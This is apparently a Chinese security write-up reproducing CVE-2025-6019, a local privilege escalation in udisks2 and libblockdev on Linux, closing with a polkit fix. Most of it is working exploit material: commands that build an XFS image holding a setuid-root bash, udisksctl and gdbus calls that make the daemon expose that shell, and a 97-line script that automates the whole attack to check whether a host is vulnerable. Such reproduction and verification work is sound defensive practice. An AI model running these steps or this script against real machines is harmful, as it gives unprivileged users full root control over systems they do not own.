udisks2 libblockdev 本地提权
一、基本信息
- 影响版本: udisks2(依赖 libblockdev)
- 漏洞类型: 本地提权(LPE)
二、漏洞简介
udisks2
结合 libblockdev
中权限验证缺陷,导致本地用户可绕过限制挂载 suid 文件系统镜像,实现提权至 root 的漏洞(LPE),无需 sudo,但需活动登录会话权限,默认图形终端或本地 TTY。
大多数 Linux 发行版默认包含的 udisks 守护程序进行攻击,并允许“allow_active”用户获得完全的 root 权限。
三、环境搭建
[!使用版本]
本次环境受影响环境,使用kali linux (2024.3)版本示例。
1 2 3 4 5 6
| dpkg -l | grep udisks2
cat /etc/os-release
|
示:

四、复现步骤
1 准备镜像文件
本地提前生成镜像文件,需安装apt-get install xfsprogs
。
1 2 3 4 5 6 7
| dd if=/dev/zero of=./xfs.image bs=1M count=300 mkfs.xfs ./xfs.image mkdir ./xfs.mount mount -t xfs ./xfs.image ./xfs.mount cp /bin/bash ./xfs.mount chmod 04555 ./xfs.mount/bash umount ./xfs.mount
|
示:
生成xfs.image

2 漏洞利用
拥有普通用户账号,testuser普通权限,模拟普通用户提权获取root。
示:
登录普通用户账号

将提前准备好的镜像文件上传到服务器中。
示:
上传镜像文件

1 2 3 4 5 6 7 8 9 10
| udisksctl loop-setup -f ./xfs.image --no-user-interaction
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
gdbus call --system \ --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/loop0 \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
|
等待/tmp/blockdev
生成文件。
1 2 3
| /tmp/blockdev*/bash -p id whoami
|
示:

3 一键验证脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| #!/bin/bash
set -e
if [ "$(id -u)" -ne 0 ]; then echo "[!] 请以 root 用户运行此脚本" exit 1 fi
echo "[*] 创建 xfs 镜像文件..." dd if=/dev/zero of=./xfs.image bs=1M count=300 mkfs.xfs ./xfs.image mkdir -p ./xfs.mount mount -t xfs ./xfs.image ./xfs.mount cp /bin/bash ./xfs.mount chmod 04555 ./xfs.mount/bash umount ./xfs.mount mv xfs.image /tmp/xfs.image rm -rf xfs.mount chmod 777 /tmp/xfs.image rm -rf /tmp/cve2025-6019.txt
echo "[*] 创建随机用户..." RAND_USER="user_$(head /dev/urandom | tr -dc a-z0-9 | head -c6)" RAND_PASS="$(head /dev/urandom | tr -dc 'A-Za-z0-9@#%^+=_' | head -c12)" useradd -m "$RAND_USER" echo "$RAND_USER:$RAND_PASS" | chpasswd
# Ubuntu新版默认启用了更严格的 PAM 和密码管理策略,需要使用下述创建用户 # RAND_USER="user_$(head /dev/urandom | tr -dc a-z0-9 | head -c6)" # RAND_PASS="$(head /dev/urandom | tr -dc 'A-Za-z0-9@#%^+=_' | head -c12)" # ENCRYPTED_PASS=$(openssl passwd -6 "$RAND_PASS") # useradd -m -p "$ENCRYPTED_PASS" "$RAND_USER"
# 创建用户脚本 USER_SCRIPT="/home/$RAND_USER/trigger.sh" cat << EOF > "$USER_SCRIPT" #!/bin/bash set -e echo "[*] 用户 \$(whoami) 开始触发漏洞..."
# 动态获取 loop 设备名 LOOP_OUTPUT=\$(udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction) LOOP_DEV=\$(echo "\$LOOP_OUTPUT" | grep -o '/dev/loop[0-9]*') LOOP_NAME=\$(basename "\$LOOP_DEV")
echo "[*] 绑定设备为:\$LOOP_NAME" echo "\$LOOP_NAME" > /tmp/loopname.txt
# 等待漏洞触发的文件出现 while true; do /tmp/blockdev*/bash -c 'sleep 2; ls -l /tmp/blockdev*/bash' && break done 2>/dev/null &
sleep 3
# 触发漏洞(动态使用 loop 名称) gdbus call --system \ --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/\$LOOP_NAME \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' >/dev/null sleep 2 gdbus call --system \ --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/\$LOOP_NAME \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' >/dev/null EOF
chmod +x "$USER_SCRIPT" chown "$RAND_USER:$RAND_USER" "$USER_SCRIPT"
echo "[*] 以普通用户 $RAND_USER 执行提权脚本..." su - "$RAND_USER" -c "bash ~/trigger.sh" || true
sleep 10 su - "$RAND_USER" -c "/tmp/blockdev*/bash -p -c 'whoami > /tmp/cve2025-6019.txt'"
LOOP_NAME=$(cat /tmp/loopname.txt) umount "/dev/$LOOP_NAME" 2>/dev/null losetup -d "/dev/$LOOP_NAME" 2>/dev/null userdel -r "$RAND_USER" 2>/dev/null rm -rf /tmp/xfs.image
if [ -f /tmp/cve2025-6019.txt ]; then if grep -q '^root$' /tmp/cve2025-6019.txt; then echo "[*] 存在CVE-2025-6019漏洞,已提权为 root。路径:/tmp/cve2025-6019.txt" rm -rf /tmp/blockdev.* /tmp/loopname.txt else echo "[!] 普通权限,未提权成功, 路径:/tmp/cve2025-6019.txt" rm -rf /tmp/blockdev.* /tmp/loopname.txt fi else echo "[!] 漏洞利用失败,未提权成功" fi
|
示:
漏洞存在

4 其他
图形界面终端(本地活动会话)下,会返回YES
,在命令行SSH终端下,会显示challenge
,系统认为你不是活动会话用户,权限受到限制,需要额外认证或拒绝,无法提权root.
1
| gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
|
示:
图形界面终端(本地活动会话)

ssh终端结果


五、修复建议
修改/usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
文件,将org.freedesktop.udisks2.modify-device
,YES改为auth_admin,重启polkit
服务。
1 2 3 4
| vim /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
systemctl restart polkit
|

六、参考资料